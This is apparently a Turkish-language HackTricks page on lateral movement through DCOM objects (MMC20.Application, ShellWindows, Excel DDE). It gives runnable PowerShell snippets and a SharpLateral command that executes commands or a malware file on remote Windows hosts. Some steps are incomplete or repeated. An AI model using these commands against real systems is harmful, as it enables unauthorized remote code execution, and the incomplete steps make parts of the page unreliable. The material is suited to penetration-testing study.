DCOM Exec

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

Try Hard Güvenlik Grubu


MMC20.Application

Bu teknik hakkında daha fazla bilgi için orijinal yazıya https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ adresinden bakın

Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar, buradan DCOM için ve buradan COM için erişilebilir. Bir PowerShell komutu kullanarak DCOM uygulamalarının bir listesini alabilirsiniz:

Get-CimInstance Win32_DCOMApplication

COM nesnesi, MMC Uygulama Sınıfı (MMC20.Application), MMC eklentisi işlemlerinin betikleme işlevini sağlar. Özellikle, bu nesne Document.ActiveView altında ExecuteShellCommand yöntemini içerir. Bu yöntem hakkında daha fazla bilgi burada bulunabilir. Şunu çalıştırarak kontrol edin:

Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinden komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşim kurmak için PowerShell şu şekilde kullanılabilir:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Bu komut DCOM uygulamasına bağlanır ve bir COM nesnesinin bir örneğini döndürür. Ardından ExecuteShellCommand yöntemi çağrılabilir ve uzak makinede bir işlemi yürütmek için kullanılabilir. İşlem aşağıdaki adımları içerir:

Yöntemleri kontrol et:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

RCE Al:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Bu teknik hakkında daha fazla bilgi için orijinal yazıya buradan ulaşabilirsiniz.

MMC20.Application nesnesinin açık "LaunchPermissions" eksikliği tespit edildi ve bu varsayılan olarak Yöneticilere erişim izni veren izinlere sahiptir. Daha fazla ayrıntı için buradaki konuya bakılabilir ve @tiraniddo’nın OleView .NET'in kullanımı önerilir.

Özel olarak, ShellBrowserWindow ve ShellWindows nesneleri, açık Launch Permissions'a sahip olmaması nedeniyle vurgulandı. HKCR:\AppID\{guid} altında LaunchPermission kaydının bulunmaması açık izinlerin olmadığını gösterir.

ShellWindows

ProgID eksik olan ShellWindows için, .NET yöntemleri Type.GetTypeFromCLSID ve Activator.CreateInstance nesneyi AppID'si kullanarak oluşturmayı kolaylaştırır. Bu işlem, OleView .NET'in kullanımını gerektiren ShellWindows için CLSID'yi almak için kullanılır. Bir kere oluşturulduktan sonra, etkileşim WindowsShell.Item yöntemi aracılığıyla mümkün olur ve Document.Application.ShellExecute gibi yöntem çağrılarına yol açar.

Örnek PowerShell komutları, nesneyi oluşturmak ve uzaktan komutları yürütmek için sağlanmıştır:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Excel DCOM Nesneleri ile Yana Hareket

Yana hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Detaylı bilgi için, Excel DDE'nin DCOM aracılığıyla yana hareket için nasıl kullanılabileceğine dair tartışmayı Cybereason'un blogunda okumanız önerilir.

Empire projesi, Excel'in DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'in RCE için istismar edilmesi için farklı yöntemleri sergileyen Empire'in GitHub deposunda bulunan betikten alınan parçalar bulunmaktadır:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Yana Hareket için Otomasyon Araçları

Bu teknikleri otomatikleştirmek için iki araç öne çıkar:

  • Invoke-DCOM.ps1: Uzak makinelerde kod yürütmek için farklı yöntemleri çağırmayı basitleştiren Empire projesi tarafından sağlanan bir PowerShell betiği. Bu betik, Empire GitHub deposunda erişilebilir durumdadır.

  • SharpLateral: Uzaktan kod yürütmek için tasarlanmış bir araç, aşağıdaki komutla kullanılabilir:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Otomatik Araçlar

  • Invoke-DCOM.ps1 adlı Powershell betiği, diğer makinelerde kodu yürütmenin yorumlanmış tüm yollarını kolayca çağırmayı sağlar.

  • Ayrıca SharpLateral kullanabilirsiniz:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Referanslar

Try Hard Security Group

Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated